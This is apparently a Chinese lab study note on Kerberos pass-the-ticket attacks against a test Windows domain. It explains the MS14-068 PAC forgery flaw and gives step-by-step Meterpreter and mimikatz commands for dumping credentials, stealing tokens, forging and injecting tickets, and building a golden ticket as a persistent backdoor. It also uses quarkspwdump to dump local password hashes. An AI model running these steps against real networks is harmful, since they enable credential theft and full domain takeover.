内网渗透 day21-ptt
pass the ticket(ptt)
ptt:从kerberos的认证流程中可以发现,如果我们能够拿到用户的TGT,并将其导入到内存,就可以冒充该用户获得其访问权限
环境:
win2008: ZJW2.com 192.168.227.140
win7: 192.168.227.141
kali: 192.168.227.129
1. ms14-068漏洞复现
介绍:
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其 Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控 制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。
影响范围:
Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 及 Windows Server 2012 R2 、Windows Vista、Windows 7、Windows 8 及 Windows 8.1 版本
补丁编号:KB3011780
Ms14-068下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
mimikatz下载地址:https://github.com/gentilkiwi/mimikatz/releases
利用条件:
1、获取到域中的计算机权限
2、搜集到计算机用户的域用户账号密码、sid、域名信息
3、没有打MS14-068的补丁(KB3011780)
*原理:
来骗,来偷袭
PAC:微软使用PAC来表示TGS中Client申明的域组。PAC(Privilege Attribute Certificate)特权属性证书。
Client在发起认证请求时,通过设置include-PAC为False,则返回TGT中不会包含PAC
KDC对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。因此伪造的任意内容都可以是合法的,直接加上内容的MD5值作为签名即可(第一个原因,客户端可以指定任意签名算法)
PAC没有被放在TGT中,放在其它地方。KDC在仍然能够正确解析出没有放在TGT中的PAC信息PAC必须是密文,经过Key加密的KDC会从Authenticator中取出来subkey,把PAC信息解密并利用客户端设定的签名算法验证签名(第二个原因,KDC会根据设定的签名算法去验证签名)
KDC验证缺少PAC的TGT成功后,再验证不在TGT中的PAC的合法性。如果2个均验证成功,KDC把PAC中的User SID、Group SID取出来,重新使用进行签名,签名算法和密钥与设置inclue-pac标志位为TRUE时一模一样。将将新产生的PAC加入到解密后的TGT中,再重新加密制作全新的TGT发送给Client,不是TGS(第三个原因,骗,让KDC把我们自己的PAC注入到TGT中)
步骤流程
前提:获得域用户的管理员权限
(1) 进行会话迁移
(2) 载入kiwi模块
load kiwi load mimikatz(msf6.0版本已经淘汰)
(3) 使用kiwi模块中的creds_all命令获取帐号密码
这里也可以用上传的mimikatz的sekurlsa::logonPasswords 抓取密码,或者上传procdump来获取
(4) 上传ms14-068.exe和mimikatz到域用户上面
(5) 进行令牌盗用
steal_token pid:身份盗用
(6) 进入shell用ipconfig /all获得域名和域控ip
可以用nslookup检测一下域名解析后是否正确
(7) whoami /user 查看SID
前提:令牌盗用成功盗用pipibo用户成功
(8) 将域用户账号密码、sid、域名信息整理到文件中
(9) rev2self:返回身份
(10) 利用上传的ms14-068.exe去获取具有改变的PAC的Kerberos TGT
ms14-068 -u 域用户名@域名 -s 域用户sid -d 域控ip -p 域用户密码
可以看到创建了.ccache文件
(11) 利用mimikatz清除票据
kerberos::purge 清除票据
或者在cmd直接使用klist purge
(12) 利用mimikatz注入票据
kerberos::ptc TGT_pipibo@ZJW2.com.ccache
(13) 成功访问域控的c盘资源
这边不能跟ip,需要跟域控的主机名
2. 黄金票据
Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC, 然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。
那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。
因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门
伪造黄金凭据需要具备下面条件:
krbtgt用户的hash(就意味着你已经有域控制器权限了)
域名称
域的SID值
要伪造的用户名
一般拿到krbtgt需要域管权限,生成的票据当然也是域管账号的,这样就控了整个域,而且有了金票据,免除了as验证username、password的阶段,所以也不担心域管密码修改.
理解:
黄金票据攻击,并不是一种普通的攻击方式,该攻击方式其实是一种后门的形式,属于第二次 进行攻击的方法,第一次拿到域管权限之后,需要将krbtgt hash进行保存,当第二次再来进行渗透攻 击时,我们就可以使用krbtgt hash制作黄金票据,从而获得管理员权限。(后门:黄金票据用来提权)
步骤流程
前提:获得域控的管理员权限(这里直接利用永恒之蓝漏洞)
(1) 令牌盗用后获得域名和域sid
meterpreter > steal_token 2020 C:\Windows\system32>whoami /user meterpreter > rev2self |
(2) hashdump获得krbtgt的ntlm hash
(3) 将mimikatz上传
(4) 执行mimikatz
(5) privilege::debug 提权
(6) kerberos::purge 清空票据
(7) 生成黄金票据
kerberos::golden /user:administrator /domain:域名 /sid:域sid /krbtgt:NTLM_HASH /ticket:xx.kirbi(后缀必须为kirbi) |
(8) 查看是否生成成功
(9) 将黄金票据下载下来
(10) 在域用户中进行测试
拥有域用户提权后的权限
上传从域控获得的黄金票据
然后进入mimikatz,privilege::debug进行特权提升
kerberos::purge 清空凭证
kerberos::ptt golden.kirbi注入黄金票据
成功访问域控资源
3. 利用quarkspwdump.exe抓取本地密码
quarkspwdump.exe -dhl 抓取本地密码
quarkspwdump.exe -dhl > c:\users\pipibo\desktop\1.txt 将输出结果保存在成txt文件